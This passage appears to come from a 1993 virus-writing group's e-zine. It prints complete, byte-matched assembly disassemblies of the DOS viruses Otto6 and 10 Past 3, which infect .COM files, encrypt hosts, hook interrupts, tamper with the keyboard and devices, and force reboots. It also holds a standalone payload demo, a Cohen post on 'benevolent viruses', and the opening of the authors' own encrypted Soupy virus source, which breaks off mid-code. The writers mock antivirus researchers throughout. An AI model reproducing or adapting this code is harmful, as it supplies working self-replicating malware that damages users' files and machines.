future projects may call upon them... so, I find the cheapest, + easiest looking virus I can find to tear to tiny little pieces. + + YAM's Evolution magazine showed up on Unphamiliar Territory, and + after thoroughly laughing at it, I decided that I'd disassemble one of the + 'virii' in it, just because they looked easy. + + The code was cheesecake, but, some of it was a tad confusing, and + I have developed the following: "Stupid people do stupid things in stupid + ways!" I realize that this is a slightly old YAM virus, and does not do + justice to the level of some of their work, but, let's face it, some of + this is damn funny! + + This code is a byte-for-byte matchup with Otto6, and I even followed + the alternate encoding used by YAM's assembler... (apparently theirs loves + to assemble using opcode r/m+mod reg, rather than the more conventional + opcode reg r/m+mod!) + + Anyway, here's what Patti has to say about it... + + =========================================================================== + Virus Name: Otto6 + Aliases: + V Status: Rare + Discovered: September, 1992 + Symptoms: .COM file growth; decrease in total system & available free + memory; host program encrypted + Origin: United States + Eff Length: 640 Bytes + Type Code: PNCK - Parasitic Non-Resident .COM Infector + Detection Method: F-Prot, ViruScan, Sweep, AVTK 6.00+, UTScan 25.10+, + NShld V99+, Sweep/N + Removal Instructions: Delete infected files + + General Comments: + The Otto6 virus was received in September, 1992. It is from the + United States. Otto6 is a non-resident, direct action infector + of .COM programs, including COMMAND.COM. It does install a small + portion of its code in memory, though it is not a complete copy + of the virus, and the virus is not infective from memory. + + When the first Otto6 infected program is executed, the Otto6 virus + will install a small portion of its viral code at the top of system + memory but below the 640K DOS boundary. Total system and available + free memory, as indicated by the DOS CHKDSK program, will have + decreased by 2,048 bytes. Interrupt 9 will be hooked by the portion + of Otto6 resident in memory, providing it was not previously hooked + by some other program. Also at this time, the Otto6 virus will + infect one .COM program located in the current directory. + + Each time a program infected with the Otto6 virus is executed, the + Otto6 virus will infect one previously uninfected .COM program + located in the current directory. Infected programs will have a + file length increase of 640 bytes with the virus being located at + the end of the file. The program's date and time in the DOS disk + directory listing will not be altered. The following text strings + are encrypted within the viral code: + + "OTTO6 VIRUS, <<éS>>, YAM, + COPYRIGHT MICROSHAFT INDUSTRIES 1992" + "<<éS>> YAM, MICROSHAFT INDUSTRIES (tm.) 1992!" + "*.COM" + + The Otto6 virus is an encrypted virus. It not only encrypts the + viral code, but the host program as well. + + It is unknown what Otto6 does besides replicate. + =========================================================================== + + Oh, yeah, and I can tell you what it does besides replicate... it + displays it' s second copyright message when you press Ctrl-Alt-Del... big + shit, eh? Shit, I'm surprised that description doesn't read COM and EXE + growth... you can never be certainly with those wily little viruses! + + =========================================================================== +; Otto #6 Virus, By Youth Against McAfee +; Disassembly By The Attitude Adjuster of Virulent Graffiti for +; Infectious Diseases 3 and some other uses... + +; Assemble with: TASM /m2 otto5.asm for a byte for byte matchup +; TLINK /t otto5.obj + +; The assembled code will NOT execute... a big thanks to YAM for that one! The +; only workaround I got is to trace thru til the mov [00FFh], al, and just +; move the ip ahead to startencrypt! + +.model tiny +.code + org 100h +start: + db 0e9h, 02, 00 ; jmp near virusentry + + nop ; they had to be here + nop ; in the original + +virusentry: + call getdelta ; get delta ofs +getdelta: + pop si + push si + + sub si,offset getdelta ; sub original ofs + + pop ax ; delta in ax + sub ax,100h + + mov ds:[00FFh],al ; ds:00FFh == al + push si ; save delta + + mov cx,260h ; ieterations + add si,offset startencrypt +cryptloop: + xor [si],al ; xor + inc si + rol al,1 ; rotate + loop cryptloop ; loop if cx > 0 + pop si ; delta in si + +startencrypt: + mov ax,word ptr ds:[first3+si] ; restore first + mov dh,byte ptr ds:[first3+si+2] ; 3 bytes + mov word ptr ds:[100h],ax + mov byte ptr ds:[102h],dh + + lea dx,[si+file] ; find *.COM + xor cx,cx + mov ah,4Eh +findfirstnext: + int 21h + + jnc checkinfected ; carry? + jmp takeithome ; no more files + +checkinfected: ; check file + mov dx,offset 9Eh ; filename in default + mov ax,3D02h ; dta + int 21h ; open file r/w + + mov bx,ax ; handle in BX + + mov ax,5700h ; get file date + int 21h + + cmp cl,3 ; cl = 3? + jne infectitthen ; nope + + mov ah,3Eh ; infected, close + int 21h + + mov ah,4Fh ; find next *.COM + jmp short findfirstnext ; again + +infectitthen: ; infect the file + push cx ; push time + push dx ; push date + call lseekstart ; lseek beginning + + lea dx,[si+first3] ; buffer at first3 + mov cx,3 ; read 3 bytes + mov ah,3Fh + int 21h + + xor cx,cx ; lseek the end + xor dx,dx ; fileside DX:AX + mov ax,4202h + int 21h + ; 4D1h + mov word ptr ds:[fsize+si],ax ; save fsize + sub ax,3 ; calculate jump + mov word ptr ds:[fsize2+si],ax + call lseekstart + add ax,6 ; fsize+3 + + mov byte ptr ds:[lob+si],al ; lob of fsize+3 + mov cx,word ptr ds:[fsize+si] ; size of file + lea dx,[si+heap] ; point at buffer + mov ah,3Fh + int 21h ; read + + push si ; push delta + mov al,byte ptr ds:[lob+si] ; lod of fsize+3 + add si,offset ds:[heap+3] ; point at code + call encrypt ; encrypt original + pop si ; pop delta + call lseekstart ; lseek beginning + + mov cx,word ptr ds:[fsize+si] ; fsize + lea dx,[si+heap] ; buffer at heap + mov ah,40h ; write file + int 21h + + jnc finishinfect ; error (attributes) + jmp short takeithome ; yes +finishinfect: + lea dx,[si+virusentry] ; write encrypter + mov cx,startencrypt-virusentry ; to file + mov ah,40h + int 21h + + push si ; push delta + mov cx,heap-startencrypt ; virus length-crypt + ; mov di,si ; delta in di + db 89h, 0F7h ; alternate encoding + add di,offset ds:[heap] ; point at heap + add si,offset ds:[startencrypt] ; point at virus + rep movsb ; copy code to heap + pop si ; pop delta + + push si ; push delta + mov al,byte ptr ds:[lob+si] ; lob of fsize+3 + mov cx,heap-startencrypt ; virus length + add si,offset ds:[heap] ; buffer at heap + call encrypt ; encrypt heap + pop si ; pop delta + + mov cx,heap-startencrypt ; virus length + lea dx,[si+heap] ; buffer at heap + mov ah,40h ; write virus + int 21h + jc takeithome ; error? + + call lseekstart + + lea dx,[si+jump] ; buffer at jump + mov ah,40h ; write jump + mov cx,3 + int 21h + jc takeithome ; error? + + pop dx ; pop date + pop cx ; pop time + mov cl,3 ; set infected flag + mov ax,5701h ; set time + int 21h + + mov ah,3Eh ; close file + int 21h + +takeithome: + push si ; push delta + mov al, byte ptr ds:[00FFh] ; saved xor byte + xor cx,cx + ; add cx,si ; the pricks use + db 01, 0f1h ; alternate encoding + add cx,3 ; ieterations in cx + mov bp,103h + mov si,bp ; unencrypt old code + call encrypt + pop si ; pop delta + + mov bp,100h ; where to RET to + + mov ax,0B0Bh ; RuThereCall + int 9 + + cmp ax,0BEEFh ; if beefy, it's + je skipinstall ; installed + + xor ax, ax + mov ds, ax ; interrupt table + lds bx, dword ptr ds:[9*4] ; Int 9 -> DS:BX + + push bp ; push ret addr + mov bp,offset ds:[old9] ; JMP FAR PTR + mov cs:[bp+si+1],bx ; offset + mov cs:[bp+si+3],ds ; segment + pop bp ; pop ret addr + + mov bx,es + dec bx ; our MCB paragraph + mov ds,bx + sub word ptr ds:[0003],80h ; allow for us to get + ; some memory + mov ax, word ptr ds:[0012h] ; 1st unused segment + sub ax,80h + mov word ptr ds:[0012h],ax ; replace valu + + mov es,ax ; es = our new seg + push cs ; ds = cs + pop ds + xor di,di ; es:0000 = dest. + ; mov bx,si ; more alternate + db 89h, 0f3h ; encoding!! + lea si,[bx+our9] ; buffer at our9 + mov cx,200 ; more than enough + rep movsb ; copy 200 bytes + + mov ds,cx ; cx = 0000 + mov word ptr ds:[9*4],0 ; offset (int 9) + mov word ptr ds:[9*4+2],es ; segment (int 9) +skipinstall: + push cs ; restore segments + push cs + pop ds + pop es + push bp ; return to 100h + ret + +encrypt: ; encrypt + xor [si],al ; xor + inc si + rol al,1 ; rotate left + loop encrypt ; Loop if cx > 0 + ret + + db 'OTTO6 VIRUS, <<',0E9h,53h,'>>, YAM, ' + db 'COPYRIGHT MICROSHAFT INDUSTRIES 1992 (tm.)' + +lseekstart: + push ax + push cx + push dx + mov ax, 4200h ; lseek beginning + xor cx,cx + xor dx,dx + int 21h + pop dx + pop cx + pop ax + ret + +our9: ; our int9 handler + cmp ax, 0B0Bh + jnz NotRuThere ; not an ruthere + mov ax, 0BEEFh + IRet ; int return +NotRuThere: + push ax ; save registers + push bx + push ds + + xor ax,ax ; BIOS segment + mov ds,ax + in al,60h ; get keyboard input + mov bl, byte ptr ds:[0417h] ; get shift status + test bl,08 ; alt pressed? + jz removeregistersandleave ; no + test bl,04 ; ctrl pressed? + jz whyisthishere ; no + cmp al, 53h ; delete? + jnz removeregistersandleave ; nope! + and bl,0F3h ; mask off bits + mov byte ptr ds:[0417h],bl ; place in bios + jmp onwardbuttheads ; go on + +whyisthishere: + cmp al,4Ah ; why is this here? + jne removeregistersandleave +removeregistersandleave: + pop ds ; remove registers + pop bx + pop ax + ; jmp returntoold9 ; more wierd + db 0e9h, 20h, 00 ; encoding! + +onwardbuttheads: + push cs ; ds = cs + pop ds + + mov ax,3 ; 80x25 text mode + int 10h + + mov ah,2 ; set cpos + mov bh,0 + mov dx,0A14h ; 10,20 + int 10h + + mov si,yamlogo-our9 ; point to logo +pointlessloop: + loop pointlessloop + + lodsb ; load string byte + + cmp al,0 ; end of string? + je coldbootus ; yes + + mov ah,0Eh ; display char in al + int 10h + + jmp short pointlessloop + +returntoold9: +old9 db 0EAh ; JMP FAR PTR + dd 00000000 ; Int 9h + +yamlogo db '<<',0E9h,53h,'>>, YAM, MICROSHAFT INDUSTRIES (tm.) 1992!' + db ' ',0 + +coldbootus: + mov dx,28h + mov ds,dx ; DS = 0028h + mov word ptr ds:[0072h],0 ; DS:0072h=0 + + ; the above does nothing, as the byte they are looking to modify is + ; the warm-boot status byte, at 0040:0072h... duh... + + db 0EAh ; JMP FAR PTR + db 00h, 00h, 0FFh, 0FFh ; Cold Boot Vector + +file db '*.COM',0 ; search wildcard + +first3 db 0CDh, 20h, 00h ; buffered 1st 3 + +jump db 0E9h ; jmp near +fsize2 db 50h, 01h + +lob db 56h ; lob of fsize+3 + +fsize db 53h, 01h ; filesize + +heap: + end start + =========================================================================== +; Hurredly written stand-alone demonstration of Otto6, By The Attitude +; Adjuster. + +; Assemble with: +; tasm obomb /m2 +; tlink obomb /t + +.model tiny +.code + org 100h +start: + mov ax, 0B0B0h + int 9 + cmp ax, 0BEEFh + jz exit + + mov ax, 3509h + int 21h + + mov word ptr [old9+1], bx + mov word ptr [old9+3], es + + mov ax, 2509h + mov dx, offset our9 + int 21h + + mov dx, offset endofit + int 27h +exit: + int 20h + +our9: ; our int9 handler + cmp ax, 0B0Bh + jnz NotRuThere ; not an ruthere + mov ax, 0BEEFh + IRet ; int return +NotRuThere: + push ax ; save registers + push bx + push ds + + xor ax,ax ; BIOS segment + mov ds,ax + in al,60h ; get keyboard input + mov bl, byte ptr ds:[0417h] ; get shift status + test bl,08 ; alt pressed? + jz removeregistersandleave ; no + test bl,04 ; ctrl pressed? + jz whyisthishere ; no + cmp al, 53h ; delete? + jnz removeregistersandleave ; nope! + and bl,0F3h ; mask off bits + mov byte ptr ds:[0417h],bl ; place in bios + jmp onwardbuttheads ; go on + +whyisthishere: + cmp al,4Ah ; why is this here? + jne removeregistersandleave +removeregistersandleave: + pop ds ; remove registers + pop bx + pop ax + ; jmp returntoold9 ; more wierd + db 0e9h, 20h, 00 ; encoding! + +onwardbuttheads: + push cs ; ds = cs + pop ds + + mov ax,3 ; 80x25 text mode + int 10h + + mov ah,2 ; set cpos + mov bh,0 + mov dx,0A14h ; 10,20 + int 10h + + mov si,offset yamlogo ; point to logo +pointlessloop: + loop pointlessloop + + lodsb ; load string byte + + cmp al,0 ; end of string? + je coldbootus ; yes + + mov ah,0Eh ; display char in al + int 10h + + jmp short pointlessloop + +returntoold9: +old9 db 0EAh ; JMP FAR PTR + dd 00000000 ; Int 9h + +yamlogo db '<<',0E9h,53h,'>>, YAM, MICROSHAFT INDUSTRIES (tm.) 1992!' + db ' ',0 + +coldbootus: + mov dx,28h + mov ds,dx ; DS = 0028h + mov word ptr ds:[0072h],0 ; DS:0072h=0 + + ; the above does nothing, as the byte they are looking to modify is + ; the warm-boot status byte, at 0040:0072h... duh... + + db 0EAh ; JMP FAR PTR + db 00h, 00h, 0FFh, 0FFh ; Cold Boot Vector + +endofit: + end start + =========================================================================== + + ======================== + Virus Based Products + By Fred Cohen + Capture by The Fly + ======================== + + I am surprised that so many well respected Virus-L readers and + writers failed to understand the implication of creating 1500 viruses per + day that are not detected by existing scanners. The point is that the + number or percentqge of viruses detected is not as important as the effect + of the product. + + Of the CARO collection of over 1500 viruses, only a small portion + have ever been found at a substantial number of sites, and many are + collector-only viruses that have never appeared in the wild. + + I am quite astounded by the concept that creating viruses in the + privacy of my home should offend anti-virus types. In fact, I have had + automated virus generation systems running for several years. At one point, + I was trying to create ecosystems by randomly generating tens of thousands + of candidates per day, many of which were successful viruses. Why does + this offend other researchers? And I take it from some of the comments + that these researchers have NEVER created a virus of their own to explore + the concept! It's sad that people who have never tried it feel free to + condemn it. Or have they done it and simply don't have the integrity to + admit it? + + ASP has already introduced one virus-based commercial product + (which has never been detected as a virus by any scanner) which operates + quite well, and we are in the process of creating another virus-based + product designed to operate in LANs. Our users don't seem to be offended + by the optimization of resource utilization, automated distribution and + installation, high reliability, and small space used by our products based + on viruses, but it seems to offend the anti-virus community that all of + their overblown claims about all viruses being bad are being undercut by + benevolent viruses that are safe and reliable. In fact, most of our + viruses work on far more systems than most virus defenses, and they don't + spread where they are not supposed to go. They are easy to control and + remove, they are compatable with every DOS based system we have seen to + date, and they have never generated any unintended side-effects. Kinda + blows the whole "all viruses are bad" thing, huh! + + NEW PRODUCT ANOUNCEMENT - BENEVOLENT VIRUSES IN LANS + AUTOMATE MUCH OF LAN MANAGEMENT - ANTI-VIRUS COMMUNITY + SHUDDERS - SCANNER PRODUCTS MUST ADAPT TO DIFFERENTIATE + BETWEEN KNOWN GOOD VIRUSES AND VARIENTS CREATED BY BAD + VIRUS WRITERS - FOR DETAILS CONTACT ASP + + P.S. considering the people who agree with my recent postings, I may + have been wrong - nah - you know you're not saying much when everyone + agrees with you - the lemmings to the sea thing and all. + ============================ + Disassembly of 10 Past 3 + By The Attitude Adjuster + ============================ + + Well... I was bored, and, I am still relatevly bad at doing + disassemblies, so, I thought I'd do a seemingly interesting virus, and + do it well... + + First, what Patti says... + + =========================================================================== + Virus Name: 10 Past 3 + Aliases: 748 + V Status: Rare + Discovery: 1991 + Symptoms: .COM file growth; keyboard keypresses altered; system reboots; + hardware devices disabled or interference + Origin: Unknown + Eff Length: 748 Bytes + Type Code: PRaCK - Parasitic Resident .COM Infector + Detection Method: CPAV 1.4+, AVTK 6.0+, F-Prot, IBMAV, Iris, Panda, VNet, + VBuster 3.93+, ViruScan V99+, Sweep 2.43a+, Trend, + AllSafe, ViruSafe, NAV 2.1.2+, UTScan 25.10+, Vi-Spy, + CPAV/N, LProt, NShld V99+, Sweep/N + Removal Instructions: Delete infected files + + General Comments: + The 10 Past 3, or 748, virus was submitted in November, 1992. This + virus was actually isolated much earlier, in early 1991. 10 Past 3 + is a memory resident infector of .COM programs, including + COMMAND.COM. + + The first time a program infected with the 10 Past 3 virus is + executed, this virus will install itself memory resident in low + available system memory, hooking interrupts 21 and 6B. Total + system and available free memory, as measured by the DOS CHKDSK + program, will not be altered. + + Once the 10 Past 3 virus is memory resident, it will infect .COM + programs, including COMMAND.COM, when they are executed. Infected + programs will have a file length increase of 748 bytes with the + virus being located at the end of the file. The program's date and + time in the DOS disk directory listing will not be altered. No + text strings are visible within the viral code. + + The 10 Past 3 virus activates between 15:10 and 15:13 (3:00PM and + 3:15PM) every day, at which time it will cause the "Ctrl" or "Shift" + keys to be invokes occassionally when the system user enters a + character on the system keyboard. As a result, the character input + may not be the same as what the user intended. Additionally, it + either disables or interfers with the functioning of the following + devices on the days of any month indicated below: + + 1st day of any month - keyboard + 10th day of any month - system hard disk + 16th day of any month - system monitor/display + 29th day of any month - disk drives + + On the 22nd day of any month, unexpected system reboots may occur. + + Known variant(s) of 10 Past 3 are: + 10 Past 3-B: A 789 byte variant of the 10 Past 3 virus, this + variant adds 789 bytes to the .COM programs it infects, + including COMMAND.COM. It will occassionally display + the following text on the system monitor: + "Therese" + The text is visible within the viral code in all + 10 Past 3-B infected programs. + Origin: Republic Of South Africa January, 1993. + + =========================================================================== + Now, allow me to quote from the woman who can't write... + + 'The 10 Past 3 virus activates between 15:10 and 15:13 (3:00PM and + 3:15PM) every day, at which time it will cause the "Ctrl" or "Shift"' + + Sheesh, Patti, grow a little programming knowledge, and maybe learn + how to read military time! + + Anyway, here's the code, hope you like it... I found it to be a + thoroughly boring piece of code, 'cept for a few little things, just angles + I had yet to look from... As always, this is byte for byte with the sample + that I worked from... Scans as it, must be it ("Look man, RedX!" Ha!)... + + =========================================================================== +.model tiny +.code + +; 10 Past 3, Disassembly done by The Attitude Adjuster for ID Issue 3. +; All hail the holy XCHG AX,AX! + + org 100h + +start: + db 0E9h, 1Dh, 00 ; jmp near intovirus + db 0B4h, 09h ; mov ah, 9 + int 21h + int 20h + nop ; F!#K + nop ; F!#K + nop ; F!#K + nop ; F!#K + nop ; F!#K + nop ; F!#K + nop ; F!#K +hello db 'Hello world !', 0Dh, 0Ah, '$' + +intovirus: + jmp short furtherintovirus + nop ; F!#K +saved2: + db 0Ah, 24h +jumpnear: + db 0E9h, 1Dh, 00h +sizestore: + db 20h, 00h +attribs: + db 20h +filetime: + db 42h, 8Fh, 51h, 15h +what: + db 01h, 00h +what2: + db 00h, 00h +old24: + db 56h, 05h,0E1h, 33h + db 00h +fileofs: + db 25h, 01h,0C4h, 34h + +furtherintovirus: + mov word ptr ds:[100h], 10BAh ; Replace 1st 3 +buffa2: + mov byte ptr ds:[102h], 1 ; bytes of COM + + xor ax,ax ; Interrupt Table + mov ds,ax + + cmp word ptr ds:[6Bh*4], 4246h ; check 1st ruthere + jne installus + + cmp word ptr ds:[6Bh*4+2], 2206h ; check 2nd ruthere + je alreadyinstalled + +installus: + call installvirusinmemory + jmp short alreadyinstalled + nop ; F!#K + +installvirusinmemory: + mov word ptr ds:[6Bh*4], 4246h ; set RUTHERE's + mov word ptr ds:[6Bh*4+2], 2206h + + push cs ; cs = ds + pop ds + + mov ax, 3521h ; get int 21h + int 21h ; vector + +modme2: + mov si, offset gobackfromwhenceyoucame ; save int 21h + mov [si+1], bx ; vector + mov [si+3], es + + push es + push bx + + pop dx + pop ds + + mov ax, 256Dh ; int 6dh = int 21h + int 21h + +modme1: + mov si, offset intovirus + + mov ax, 40h ; bios + mov ds, ax + + mov ax, ds:[0013h] ; (0040:0013=280h) + mov cl, 6 + shl ax, cl ; shift to segment + sub ax, 800h ; minus 800 paras + mov es, ax ; in ES + + xor di, di ; destination 0 + mov cx, endofvirus - intovirus ; ieterations + + push cs ; cs = ds + pop ds + + rep movsb ; copy it + + mov ax, 2521h ; set int 21h + push es + pop ds + mov dx, int_21_handler - intovirus + int 21h + + mov si, 17h + mov byte ptr [si], 0 + ret + +alreadyinstalled: + call debuggerreboot + + push cs + push cs + + pop ds + pop es + + mov ax, offset start + jmp ax ; advance to go + +debuggerreboot: + mov ax, 0F000h ; hi bios + mov ds, ax + + mov dx, offset 0FFF0h ; ssi = reboot + mov ax, 2501h + int 21h + + mov ax, 2503h ; brkpt = reboot + int 21h + ret + +int_21_handler: + push ax + push bx + push cx + push dx + push di + push si + push es + push ds + + mov ah, 2Ah ; get date + int 6Dh + + cmp cx, 7C7h ; is year 1991 + jb datenogood ; Jump if below + + cmp dl, 16h ; is date 22nd + jne onwardguys ; nope + + db 0eah, 0F0H, 0FFH, 00, 0F0H ; reboot + +onwardguys: + mov ah, 25h ; set int vector + + cmp dl, 1Dh ; is date 29th + je dateisthe29th + + cmp dl, 1 ; is date 1st + je dateisthe1st + + cmp dl, 0Ah ; is date 10th + je dateisthe10th + + cmp dl, 10h ; is date 16th + je dateisthe16th + + jmp short datenogood + + nop ; F!#K + +dateisthe29th: + mov al, 13h ; disks + jmp short setvector + nop ; F!#K + +dateisthe1st: + mov al, 16h ; keyboard + jmp short setvector + nop ; F!#K + +dateisthe10th: + mov al, 0Dh ; fixed disk + jmp short setvector + nop ; F!#K + +dateisthe16th: + mov al, 10h ; video + +setvector: + push cs ; ds = cs + pop ds + mov dx, bigproblems - intovirus + int 6Dh + +datenogood: + mov ax, 40h ; bios + mov ds, ax + + mov ax, ds:[006Eh] ; clicks since 12AM + mov bx, ds:[006Ch] + + push cs ; ds = cs + pop ds + + mov si, 0017h ; keyboard status + mov cl, ds:[si] + cmp cl, 1 ; only right shift + je noactivate + + ; this here checks for approximately 3:10 to 3:15 vicinity + + cmp ax, 0Fh ; timer hi = 0fh + jne noactivate + + cmp bx, 2AA8h ; timer lo < 2AA8h + jb noactivate + + cmp bx, 3774h ; timer lo > 3774h + ja noactivate + + mov byte ptr [si], 1 ; right shift only + + mov ax, 3509h ; get int 9 vector + int 21h + + push es + push bx + + pop dx + pop ds + + mov ax, 256Ah ; int 6ah = int 9 + int 21h + + push cs + pop ds + + mov dx, int_9_handler - intovirus ; set our int 9 + mov ax, 2509h + int 21h + +noactivate: + pop ds + pop es + pop si + pop di + pop dx + pop cx + pop bx + pop ax + + cmp ah, 4Bh ; execute call? + je yeppersitsanexecute + +gobackfromwhenceyoucame: ; return to int 21h + db 0EAh ; jmp far ptr + db 60h, 14h, 02fh, 02h ; old int 21h vector + +returntoitall: + pop es + pop ds + pop bp + pop di + pop si + pop dx + pop cx + pop bx + pop ax + jmp short gobackfromwhenceyoucame + +okayreamit: + mov ax, 2524h ; set int 24h + mov si, old24 - intovirus + mov dx, cs:[si] + mov ds, cs:[si+2] + int 21h + + push cs + pop ds + + mov si, filetime - intovirus ; set file time + mov cx, [si] + mov dx, [si+2] + mov ax, 5701h + int 21h + + mov ah, 3Eh ; close it up + int 21h + + mov si, fileofs - intovirus ; load address + mov dx, cs:[si] + mov ds, cs:[si+2] + + mov ax, 4301h ; set attribs back + mov si, attribs - intovirus + mov cl, cs:[si] + xor ch, ch + int 21h + + jmp short returntoitall + +yeppersitsanexecute: + push ax + push bx + push cx + push dx + push si + push di + push bp + push ds + push es + + mov ax, 4300h ; get attributes + int 21h + jc okayreamit ; bad file? + + mov si, attribs - intovirus ; save attribs + mov cs:[si], cl + + mov si, fileofs - intovirus ; save file address + mov cs:[si], dx + mov cs:[si+2], ds + + mov ax, 3524h ; get int 24h vector + int 21h + + mov si, old24 - intovirus ; save int 24h + mov cs:[si], bx + mov cs:[si+2], es + + mov ax, 2524h ; set int 24h + push cs + pop ds + mov dx, bigproblems - intovirus + int 21h + + mov si, fileofs - intovirus ; reload file addr + mov dx, cs:[si] + mov ds, cs:[si+2] + + mov ax, 4301h ; set attributes + mov cx, 20h ; archive + int 21h + jc allpurposeerror ; catch criticals + + mov ax, 3D02h ; open for write + int 21h + jc allpurposeerror ; more error checks + + mov bx, ax ; F!#K + + mov ax, 5700h ; get file time + int 21h + jc allpurposeerror ; more error checks! + + mov si, filetime - intovirus ; save file time + push cs + pop ds + mov [si], cx + mov [si+2], dx + + mov ah, 3Fh ; read 2 bytes into + mov cx, 2 + mov dx, (furtherintovirus + 4) - intovirus ; buffer + int 21h + jc allpurposeerror ; damn these checks! + + mov si, (buffa2 - 2) - intovirus + cmp word ptr [si], 5A4Dh ; misnamed exe ?!? + je allpurposeerror ; fuckin' checks + + mov ah, 3Fh ; read 1 byte into + mov cx, 1 + mov dx, (furtherintovirus + 10) - intovirus ; buffer + int 21h + jc allpurposeerror ; !!! + + mov ax, 4202h ; LSeek end + xor cx, cx + xor dx, dx + int 21h + jc allpurposeerror ; AARRRGGGHHH!!! + + cmp dx, 0 ; if size > 65535 + jg allpurposeerror + + cmp ax, 4 ; if size < 4 + jb allpurposeerror + + cmp ax, 0FBF0h ; if size > 64496 + ja allpurposeerror + + mov si, sizestore - intovirus ; save size + mov [si], ax + + mov cx, ax ; size in cx + + sub ax, 3 ; mod for jmp near + + mov si, (jumpnear + 1) - intovirus ; save size - 3 + mov [si], ax + + add cx, 100h ; size + 100h + mov si, (modme1 + 1) - intovirus + mov [si], cx ; modify first delta + + add cx, 151h ; size + 251h + + mov si, (modme2 + 1) - intovirus + mov [si], cx ; modify 2nd delta + + jmp short continueinfect + nop ; F!#K +allpurposeerror: + jmp okayreamit + +continueinfect: + mov ax, 4200h ; LSeek from start + xor cx, cx ; Size - 2 + mov si, sizestore - intovirus + mov dx, [si] + sub dx, 2 + int 21h + + mov ah, 3Fh ; read 2 bytes + mov cx, 2 + mov dx, saved2 - intovirus + int 21h + + mov si, saved2 - intovirus ; load saved 2 + mov ax, [si] + + cmp ax, 2206h ; infected? + je allpurposeerror + + mov ax, 4200h ; LSeek start + xor cx, cx + xor dx, dx + int 21h + + mov ah, 40h ; write jmp near + mov cx, 3 + mov dx, jumpnear - intovirus + int 21h + + mov ax, 4202h ; LSeek end + xor cx, cx + xor dx, dx + int 21h + + mov si, what - intovirus ; inc counter + inc word ptr [si] + + mov si, what2 - intovirus + push word ptr [si] + mov word ptr [si], 0 + + mov ah, 40h ; write file + mov dx, intovirus - intovirus ; duh! + mov cx, endofvirus - intovirus + int 21h + + mov si, what - intovirus ; dec counter + dec word ptr [si] + + pop ax ; pop off other valu + inc ax + + mov si, what2 - intovirus ; save other valu + mov [si], ax + jmp okayreamit + +bigproblems: + xor al,al ; a little xtreme?!? + iret + +int_9_handler: + push ax + push ds + + mov ax, 0040h ; bios + mov ds, ax + + mov ah, byte ptr ds:[006ch] ; clicks afta 12 AM + cmp ah, 17h ; past time? + ja itsallover + + and ah, 6 + or ds:[0017h], ah ; fuck that flag!!! + +itsallover: + pop ds + pop ax + int 6ah + iret + + db 06h, '"' +endofvirus: + end start + =========================================================================== + + I saw no need to write a stand-alone demonstration for this rather + unflattering virus, as it displays nothing, and only disables device + access and fucks with the keyboard... + ====================== + Soupy Virus Source + By The Attitude Adjuster + and + AccuPunk + ====================== + + With the release of this virus marks the absolute end for all + boring direct-action COM infectors from Virulent Graffiti... if some pop + up in the future, bearing our name, and do not have revolutionary or + funny activation stages, they are NOT from us... + + Anyway, I am at a loss as to why I should use anything but the DOC + I wrote for this, but, here's what Patti says, and what I say, you compare + and contrast who does it better! + + ========================================================================== + Virus Name: Soupy + Aliases: + V Status: New + Discovered: January, 1993 + Symptoms: .COM file growth; TSR; message; system hangs + Origin: United States + Eff Length: 1,072 Bytes + Type Code: PRC - Parasitic Resident .COM Infector + Detection Method: Novi 1.15a+, CPAV/N + Removal Instructions: Delete infected files + + General Comments: + The Soupy virus was submitted in January, 1993, and is from the + United States. Soupy is a non-resident, direct action infector + of .COM programs, but not COMMAND.COM. In the case of advanced + infections, it may install a portion of itself memory resident in + order to facilitate the activation mechanism in the virus. + + When a program infected with the Soupy virus is executed, the + Soupy virus will infect one .COM file located in the current + directory, as well as update a counter within the viral code. + Programs infected with the Soupy virus will have a file length + increase of 1,072 bytes with the virus being located at the end + of the file. The program's date and time in the DOS disk directory + listing will not be altered. + + The Soupy virus activates once the counter within the viral code + has reached 11, indicating the 11th generation of the virus has + been reached. At this time, the virus will install a portion of + itself in memory of 736 bytes, hooking interrupt 08. Once the + memory resident portion of the virus has been installed, it will + display the following messages one at a time every three minutes: + + "Unsuspecting user, 12 o'clock!" + "Get ready... 'cause... THERE'S A VIRUS IN YOUR SOUP!" + "From the guys that brought you Lythyum, Radyum, and + VioLite comes:" + "The Soupy Virus, (k) 1992 VG Enterprises, + 216/513/602/904/703" + "By The Attitude Adjuster & AccuPunk!" + "Hurry! Hire an Anti-Virus Professional! + Increase Wallet Space!" + "...hmmm, ya' know, I think I''ll halt now..." + + Once the last message above is displayed, the system will be + halted or hung. The above messages are encrypted within the + Soupy viral code, as are the following additional text strings: + + "[Soupy] The Attitude Adjuster & AccuPunk, + VG 08/23/92 to 12/02/92" + "*.COM" + "Bad command or file name" + + ========================================================================== + ...and now me... + + ========================================================================== + Virus Name: Soupy + Aliases: Virus in Your Soup + Author: The Attitude Adjuster & AccuPunk + Group: Virulent Graffiti + Scan ID: + V Status: Frozen to Death + Discovery: See, we were in this guy's disk box... + Symptoms: .COM files altered; Messages; + Orgin: West Bumblefuck, Ohio + Eff Length: 1073 Bytes + Res Length: 736 Bytes + Type Code: Parasitic Non-Resident .COM Infector + Detection Method: + Removal Instructions: Delete infected files + + General Comments: + + The Soupy virus is a self-encrypting direct action infector + of .COM programs. The virus, upon execution, will search the + current directory for an uninfected .COM program. If none + are found, the virus will restore the host file and continue + execution. + + The Soupy virus mantains an infection counter. When this counter + reaches 11, the virus will check for a copy of itself in memory, + and if not found, make itself the owner of INT 8 and go + resident. + + Approximately every 3 minutes, the virus will display the next + of 7 messages, finally causing the machine to do a dynamic + halt on the final message. + + ========================================================================== + And, just to get the story straight, I wrote all the resident + stuff out of boredom, and, the COM engine was what AccuPunk presented as + his coding example to join the group. I just optomized the code, and added + my residency, and I was ready to go... + + This virus sucks... mainly because I didn't know enough back then, + but, that has all changed... + + ========================================================================== +; -] "Oh, waiter [- A virus to pay tribute to +; ==] [== Anti-Virus Professionals Everywhere! +; -] THERE'S [- +; ] [ +; -] A [- Radyum's Little Son +; ==] [== +; -] VIRUS [- +; ] [ We like Bob Ross, but, we like +; -] IN MY [- ourselves a lot better. +; ==] [== +; -] SOUP!!!" [- +; +; An original virus by Accu-Punk and The Attitude Adjuster +; of Virulent Graffiti (216/914/513/602) + +; Greetz: Mom, My Modem, Accu-Punk, The Attitude Adjuster, +; The Fly, Casper, Chief, Mercury, any other VG Member. + +.model tiny +.code ; code segment, tiny model -- CS = DS = ES = SS + +ComStart EQU 100h + + org 100h ; generate .COM file + +entry: + db 0e9h, 00, 00 ; Jmp decrypt + +decrypt: + mov si, offset start_code + mov cx, (offset end_code - offset start_code)/2 +code_loop: + db 81h, 34h, 0, 0 ; xor 